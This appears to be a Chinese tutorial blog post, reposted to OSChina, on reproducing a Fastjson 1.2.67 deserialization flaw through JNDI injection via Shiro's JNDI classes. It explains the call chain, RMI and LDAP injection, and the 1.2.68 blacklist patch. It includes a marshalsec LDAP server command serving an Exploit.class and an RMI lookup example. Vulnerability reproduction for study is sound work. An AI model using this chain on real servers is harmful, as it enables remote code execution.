前言
前不久传的沸沸扬扬的FastJson反序列化漏洞,相信有不少企业都中招了,当然我司也未能幸免,基于次漏洞更具官方给的补漏措施,已完全可以避免在这不再阐述。本文就拿它从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。
以下便是部分官方公告:
0x01 Fastjson简介
“Fastjson” 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjson
0x02 环境搭建
JDK 版本:8u112 、fastjson: 1.2.67、shiro: 1.5.1、slf4j-nop: 1.7.25
0x1 添加依赖包
为了快速添加项目所需要的jar包,创建Maven项目如下
Maven文件:pom.xml
导入工程之后右键pom.xml ,点击下载源码source和document。
0x2 Idea中JDK版本选择
此漏洞应该选择:JDK 8u112
0x3 手动漏洞代码
此时在main文件夹中,添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数
0x03 漏洞原理
0x1 FastJson 类解析
如图:fastjson.java
因此,通过以上代码可以看出调用parseObject 函数会调用getattr()方法。
0x2 漏洞调用链分析
此时我们进行调用栈分析:
利用1:parseObject 对象类型转换
在这一步的操作是将obj对应的对象类型转化为json,这肯定要获得getattr() 对象方法,从而会触发漏洞。
利用2:反射调用
将用invoke方法,调用getinstance()方法:
例:
利用3: 触发ldap
JndiObjectFactory、getinstance中调用了this.lookup(resourceName)方法:
例:
0x3 JNDI 注入
在Java Name Directory Interface中,Java的命名和目录接口(JNDI)是一种Java 的API,类似于一个索引中心,允许客户端通过name发现和查找数据。JNDI包括Naming Service和Directory Service,此时,通过名称来寻找数据和对象的API,我们也称其中为一种绑定。但是JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
整个应用场景如:动态加载数据库配置文件,从而保持数据库代码不变动等。
漏洞注入方法:
JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
ctx.lookup("rmi://localhost:9999/refObj"); :
//localhost:9999/refObj"); :
假若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即:可实现JNDI注入实现任意代码执行。
注入1:RMI
简称RMI(Remote Method Invocation,远程方法调用),远程方法调用是分布式编程中的基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。
注入2:LDAP
简称:LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)一种目录服务协议,主要运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,从而能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。
0x04 漏洞利用
0x1 Java 利用代码编译
0x2 此时开启 LDAP 服务
使用marshalsec启动一个ladp服务器 ,下载地址为
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit
0x3 开启HTTP Web 服务
此时将编译好的Exploit.class 放在web目录下并开启服务
0x05 漏洞补丁
这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包
https://github.com/LeadroyaL/fastjson-blacklist
该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了
具体代码如下图所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理。黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。
往期精彩
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
实战渗透-看我如何拿下学校的大屏幕
技术篇:bulldog水平垂直越权+命令执行+提权
渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成
感兴趣的可以点个关注!!!
本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/4615518/blog/4552036